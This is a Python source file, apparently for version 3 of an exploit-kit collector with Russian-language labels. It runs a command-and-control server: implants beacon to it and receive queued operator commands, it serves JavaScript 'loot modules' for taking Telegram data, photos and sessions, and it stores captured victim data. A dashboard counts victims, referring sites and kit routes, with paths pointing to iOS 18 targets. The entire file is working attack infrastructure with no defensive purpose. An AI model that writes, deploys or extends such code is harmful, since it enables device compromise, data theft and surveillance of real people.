#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""collector_v3.py — unified kit collector with GhostWave C2 protocol on top of v2.

Adds to v2 collector:
  POST /beacon (and /ios18/beacon)  -> implant heartbeat; RESPONDS with next queued
                                       command (JSON {type: ..., params: ...}) or {"type":"noop"}
  POST /api/payload/get (any prefix) -> serves loot modules (telegram_v1.js,
                                       photos_upload_v1.js, session_*.js...) from modules/
  POST /api/task/status etc          -> generic sink (captures)
  GET  /c2?q=<json>                  -> operator command queue inject (auth: ?key=<stats key>)

Everything else behaves like v2: /stats (HTML/JSON, key-protected), /log.html,
/collect/*, /p /war /result /upload /a /u /nb /event -> captures.
"""
import http.server, socketserver, os, sys, json, time, urllib.parse, re, hashlib, gzip, threading

ROOT = os.path.dirname(os.path.abspath(__file__))
LOGD = os.path.join(ROOT, "collector_logs")
CAPD = os.path.join(LOGD, "captures")
MODD = os.path.join(ROOT, "modules")
for d in (LOGD, CAPD, MODD):
    os.makedirs(d, exist_ok=True)
LOCK = threading.Lock()
SEEN = set()
MAX_LOG_MB = 64
QUEUE = os.path.join(ROOT, "c2_queue.json")
STATS_KEY = os.environ.get("STATS_KEY", "")

def log(path, data):
    with LOCK:
        with open(path, "ab") as fh:
            fh.write(data)

def rot(path):
    try:
        if os.path.getsize(path) > MAX_LOG_MB * 1024 * 1024:
            os.replace(path, path + "." + str(int(time.time())))
    except OSError:
        pass

def queue_pop():
    """return next pending command for implant beacon"""
    with LOCK:
        try:
            q = json.load(open(QUEUE))
        except Exception:
            return {"type": "noop"}
        if not q:
            return {"type": "noop"}
        cmd = q.pop(0)
        json.dump(q, open(QUEUE, "w"))
        return cmd

def queue_push(cmd):
    with LOCK:
        try:
            q = json.load(open(QUEUE))
        except Exception:
            q = []
        q.append(cmd)
        json.dump(q, open(QUEUE, "w"), indent=1)
        return len(q)

# ---------------- stats (v2) ----------------
def summary():
    stats = {"beacons": 0, "routes": {}, "errors": 0, "stageok": 0, "stagefail": 0,
             "captures": 0, "last_ts": None, "uids": set(),
             "referrers": {}, "pages": {}, "events": [], "per_day": {},
             "c2_beacons": 0, "c2_cmds_served": 0}
    try:
        for fn in sorted(os.listdir(CAPD)):
            stats["captures"] += 1
            with open(os.path.join(CAPD, fn), "rb") as fh:
                blob = fh.read(16384)
            t = blob.split(b"--- ")[1][:19].decode("latin1") if b"--- " in blob[:60] else None
            if t: stats["last_ts"] = t
            day = (t or "")[:10]
            txt = blob.decode("utf-8", "ignore")
            if '"status": "idle"' in txt or '"device_info"' in txt:
                stats["c2_beacons"] += 1
            for tag in re.findall(rb"tag=([a-z0-9_]+)", blob):
                tag = tag.decode()
                stats["beacons"] += 1
                if day:
                    stats["per_day"][day] = stats["per_day"].get(day, 0) + 1
                if tag in ("err", "jserr", "jsrej", "stagefail"): stats["errors"] += 1
                if tag == "stageok": stats["stageok"] += 1
                if tag == "stagefail": stats["stagefail"] += 1
            for rt in re.findall(rb"\b(coruna|ds|psword|none)\b", blob):
                r = rt.decode(); stats["routes"][r] = stats["routes"].get(r, 0) + 1
            for u in re.findall(rb"uid=([A-Za-z0-9_]+)", blob):
                stats["uids"].add(u.decode())
            import urllib.parse
            for m in re.findall(rb"ref=([A-Za-z0-9_.~%\-]+)", blob):
                ref = urllib.parse.unquote(m.decode())
                if ref and ref != "-":
                    host = urllib.parse.urlparse(ref).netloc or ref[:40]
                    stats["referrers"][host] = stats["referrers"].get(host, 0) + 1
            for m in re.findall(rb"href=([A-Za-z0-9_.~%\-]+)", blob):
                pg = urllib.parse.unquote(m.decode())
                if pg and pg != "-":
                    stats["pages"][pg[:120]] = stats["pages"].get(pg[:120], 0) + 1
            if t and ("f18" in txt or "route=" in txt or "tag=route" in txt or "tag=f18" in txt):
                stats["events"].append({"ts": t, "file": fn[:40]})
    except OSError:
        pass
    stats["uids"] = sorted(stats["uids"])
    stats["events"] = stats["events"][-30:]
    return stats

def render_html(st):
    def tbl(d, name):
        rows = "".join('<tr><td>%s</td><td>%d</td></tr>' % (k, v)
                       for k, v in sorted(d.items(), key=lambda x: -x[1])[:25])
        return ('<div class="card"><h3>%s</h3><table><tr><th>источник</th><th>хитов</th></tr>%s</table></div>'
                % (name, rows or '<tr><td colspan=2>пока пусто</td></tr>'))
    days = "".join('<tr><td>%s</td><td>%d</td></tr>' % (k, v) for k, v in sorted(st["per_day"].items()))
    routes = "".join('<tr><td>%s</td><td>%d</td></tr>' % (k, v) for k, v in sorted(st["routes"].items()))
    return ('<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow">'
            '<title>Stats</title><style>'
            'body{font-family:-apple-system,sans-serif;background:#0f1115;color:#e6e6e6;margin:0;padding:20px}'
            '.wrap{max-width:900px;margin:0 auto}h1{font-size:20px}'
            '.grid{display:flex;flex-wrap:wrap;gap:12px}'
            '.card{background:#181b22;border-radius:10px;padding:14px;flex:1 1 380px}'
            'table{border-collapse:collapse;width:100%%;font-size:13px}'
            'td,th{border-bottom:1px solid #262b36;padding:5px 8px;text-align:left}'
            'th{color:#9aa4b2}.big{font-size:28px;font-weight:700}'
            '</style></head><body><div class="wrap">'
            '<h1>handmadgifts — статистика</h1>'
            '<div class="grid">'
            '<div class="card"><div>Всего событий</div><div class="big">%d</div></div>'
            '<div class="card"><div>C2 beacons</div><div class="big">%d</div></div>'
            '<div class="card"><div>Уникальных uid</div><div class="big">%d</div></div>'
            '<div class="card"><div>Капчеров</div><div class="big">%d</div></div>'
            '</div>'
            '<div class="grid">%s%s'
            '<div class="card"><h3>Маршруты (кто какой кит получил)</h3>'
            '<table><tr><th>ветка</th><th>хитов</th></tr>%s</table></div>'
            '<div class="card"><h3>По дням</h3><table><tr><th>день</th><th>хитов</th></tr>%s</table></div>'
            '</div>'
            '<div class="card"><h3>Последние события</h3><table><tr><th>время</th><th>файл</th></tr>%s</table></div>'
            '<p style="color:#666;font-size:12px">обновлено %s &middot; JSON: &format=json</p>'
            '</div></body></html>') % (
        st["beacons"], st.get("c2_beacons", 0), len(st["uids"]), st["captures"],
        tbl(st["referrers"], "С каких сайтов приходили (referrer)"),
        tbl(st["pages"], "Страницы входа (href)"),
        routes, days,
        "".join('<tr><td>%s</td><td>%s</td></tr>' % (e["ts"], e["file"]) for e in reversed(st["events"])),
        time.strftime("%F %T"))

class H(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=ROOT, **kw)
    def end_headers(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type, Content-Encoding")
        super().end_headers()
    def log_message(self, fmt, *a):
        rot(os.path.join(LOGD, "access.log"))
        log(os.path.join(LOGD, "access.log"), ("%s %s\n" % (time.strftime("%F %T"), fmt % a)).encode())
    def _json(self, obj, code=200):
        body = json.dumps(obj, ensure_ascii=False).encode()
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def do_OPTIONS(self):
        self.send_response(204); self.end_headers()
    def do_GET(self):
        p = self.path.split("?")[0]
        q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if p in ("/log.html", "/log", "/f18"):
            line = time.strftime("%F %T ") + urllib.parse.unquote(self.path) + "\n"
            rot(os.path.join(LOGD, "stage.log"))
            log(os.path.join(LOGD, "stage.log"), line.encode())
            self.send_response(204); self.end_headers(); return
        if p == "/stats":
            st = summary()
            if q.get("format", ["html"])[0] == "json":
                self._json(st); return
            body = render_html(st).encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers(); self.wfile.write(body); return
        if p == "/health":
            self.send_response(200); self.send_header("Content-Length", "2")
            self.end_headers(); self.wfile.write(b"ok"); return
        if p == "/c2":
            # operator command queue: GET shows queue, ?key= required
            if STATS_KEY and q.get("key", [""])[0] != STATS_KEY:
                self._json({"error": "auth"}, 403); return
            if "q" in q:
                try:
                    cmd = json.loads(q["q"][0])
                except Exception:
                    self._json({"error": "bad json"}); return
                n = queue_push(cmd)
                self._json({"queued": n, "cmd": cmd}); return
            try:
                qd = json.load(open(QUEUE))
            except Exception:
                qd = []
            self._json({"queue": qd}); return
        return super().do_GET()
    def do_POST(self):
        n = int(self.headers.get("Content-Length") or 0)
        body = self.rfile.read(n) if n else b""
        enc = (self.headers.get("Content-Encoding") or "").lower()
        if "gzip" in enc:
            try: body = gzip.decompress(body)
            except OSError: pass
        p = urllib.parse.urlparse(self.path).path
        # normalize /ios18/<x> -> /<x> for protocol routing (keep leading /)
        rel = p[6:] if p.startswith("/ios18/") else p
        if not rel.startswith("/"):
            rel = "/" + rel
        # --- C2: beacon -> respond with queued command ---
        if rel in ("/beacon",):
            try:
                j = json.loads(body.decode("utf-8", "ignore") or "{}")
            except Exception:
                j = {}
            uid = str(j.get("uuid", ""))[:40]
            cmd = queue_pop()
            h = hashlib.sha1(body).hexdigest()[:12]
            fname = "%d_beacon_%s_%s" % (int(time.time()), uid or "anon", h)
            with LOCK:
                rot(os.path.join(CAPD, fname))
                with open(os.path.join(CAPD, fname), "ab") as fh:
                    fh.write(b"--- %s %s ---\n" % (time.strftime("%F %T").encode(), self.path.encode()))
                    fh.write(body)
            self._json(cmd); return
        # --- C2: payload/get -> serve loot module ---
        if rel.endswith("/payload/get") or rel == "/api/payload/get":
            try:
                j = json.loads(body.decode("utf-8", "ignore") or "{}")
            except Exception:
                j = {}
            name = os.path.basename(str(j.get("name", j.get("module", ""))))
            name = re.sub(r"[^A-Za-z0-9_.-]", "", name)
            fp = os.path.join(MODD, name) if name else ""
            if fp and os.path.isfile(fp):
                src = open(fp, encoding="utf-8", errors="surrogateescape").read()
                self._json({"module_id": name.replace(".js", ""), "src": src, "task": {}})
                log(os.path.join(LOGD, "modules.log"),
                    ("%s served %s %dB\n" % (time.strftime("%F %T"), name, len(src))).encode())
            else:
                self._json({"error": "no such module", "name": name}, 404)
            return
        # --- generic sink ---
        h = hashlib.sha1(body).hexdigest()[:12]
        name = os.path.basename(p) or "root"
        fname = "%d_%s_%s" % (int(time.time()), name, h)
        with LOCK:
            rot(os.path.join(CAPD, fname))
            with open(os.path.join(CAPD, fname), "ab") as fh:
                fh.write(b"--- %s %s ---\n" % (time.strftime("%F %T").encode(), self.path.encode()))
                fh.write(body)
        self.send_response(200); self.send_header("Content-Length", "2")
        self.end_headers(); self.wfile.write(b"ok")

if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8890
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    socketserver.ThreadingTCPServer.daemon_threads = True
    with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as s:
        print("collector v3 (c2 protocol) serving %s on :%d" % (ROOT, port)); s.serve_forever()